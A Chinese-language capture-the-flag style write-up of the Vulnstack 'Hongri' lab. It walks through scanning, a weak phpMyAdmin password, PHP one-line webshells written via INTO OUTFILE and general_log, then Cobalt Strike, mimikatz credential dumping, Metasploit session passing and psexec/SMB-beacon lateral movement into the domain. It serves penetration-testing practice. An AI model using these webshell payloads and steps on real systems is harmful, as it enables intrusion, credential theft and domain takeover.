一、前言
這個是紅日的一個靶機,http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
並未按照介紹里的點一個一個走,簡單記錄下過程。
環境搭建:設置Win2K3 僅主機模式;winserver08 僅主機模式;win7添加一個網卡,一個設為僅主機模式,另一個設為NAT模式;攻擊機設為NAT模式。
登錄win7,可能要修改密碼。然后進入C:\phpStudy\文件下運行phpstudy.exe
攻擊機IP:192.168.157.137
二、信息搜集
nmap 192.168.157.0/24 -n -sP -sn
發現win7的IP為 192.168.157.138 ,探測開啟的服務
nmap 192.168.157.138 -O -sS -sV -v

訪問http://192.168.157.138/發現是一個PHP探針,能看到絕對路徑

對目錄進行爆破
dirb http://192.168.157.138/
發現了http://192.168.157.138/phpmyadmin/index.php

發現弱密碼root/root進入后台
三、phpMyAdmin get shell
- 利用select into outfile 寫入shell
先查看能否自定義導出文件目錄的權限,結果為NULL意味着不允許導入導出數據到目錄。且只能在my.ini進行配置。
SHOW VARIABLES LIKE "secure_file_priv";

如果能將my.inisecure_file_prive並將其值設置為""或"/",並重啟MySQL服務
select '<?php @eval($_POST[pass]);?>' into outfile 'c:/phpstudy/www/shell.php';
進行一句話寫shell
2. 利用日志寫shell
查看全局變量 general_log、general_log_file
SHOW VARIABLES LIKE "general_log%";

general_log 默認關閉,,general_log_file為日志儲存路徑。
寫shell的思路:更改general_log的值,將日志儲存在能訪問的路徑下,且后綴名為php。然后通過log日志進行寫入一句話木馬,然后再進一步利用。
set global general_log = "ON"; set global general_log_file = "C:/phpStudy/WWW/shell.php";
然后在日志中插入一句話
SELECT '<?php eval($_POST["pass"]);?>'
用蟻劍連接http://192.168.157.138/shell.php

四、內網信息搜集
利用蟻劍虛擬端進行信息搜集,發現在執行net view一些命令時無回顯,利用CS生成木馬,回連beacon。因為是靶機調整心跳為1s。

記錄常用的信息搜集命令,cs運行shell命令時需加 "shell 命令",eg: "shell net view"
ipconfig /all net view net view /domain net time /domain 能夠執行,說明此台機器在域中 (若是此命令在顯示域處顯示 WORKGROUP,則不存在域,若是報錯:發生系統錯誤 5,則存在域,但該用戶不是域用戶) net config workstation 查詢當前的登錄域與用戶信息 net lookup “域名” nslookup 命令直接解析域名服務器 net user /domain 查看當前域的所有用戶 wmic useraccount get /all 獲取域內用戶的詳細信息 net group "domain computers" /domain 查看所有域成員計算機列表 net group "domain admins" /domain 查看所有域控管理人員 net group "domain controllers" /domain 查看與控制管理器 net group "enterprise admins" /domain 查看企業管理組 net localgroup administrators /domain 查看域控,升級為域控時,本地賬戶也成為域管 net accounts /domain 獲取域密碼信息 nltest /domain_trusts 獲取域信任列表
通過信息搜集知道了域控IP、域控管理員、域內其他計算機。然后利用svc-exe進行提權

利用mimikatz抓取密碼導出憑證

五、橫向移動
此時執行net view已經發現域控和另一台機器,利用導出的憑證能直接登錄。
CS派生session給msf
現在msf監聽,通訊類型要與cs保持一致
msf:

cs:

kali上面執行,連接session解釋派生出來的會話
sessions sessions -i 1
因為知道域控和另一台機器再192.168.52.0/24段
添加路由:

嘗試了MS17-010、MS08-067未果。到這只是記錄下cs結合msf的運用,同理msf也可以派生session給cs。前面導出的憑證登錄域內兩台機器
創建一個bind_tcp的listener 針對目標機器點擊psexec

但是在OWA用憑證登錄的時候,發現不能連接上,懷疑被攔了。這里使用beacon SMB listener
SMB Beacon 使用命名管道通過父級 Beacon 進行通訊,當兩個 Beacons 鏈接后,子 Beacon 從父 Beacon 獲取到任務並發送。因為鏈接的 Beacons 使用 Windows 命名管道進行通信,此流量封裝在 SMB 協議中,所以 SMB Beacon 相對隱蔽,繞防火牆時可能發揮奇效。

再次創建一個SMB listener ,從已有的beacon上面spwn,選擇創建的listener
然后再登陸憑證,OWA上線。
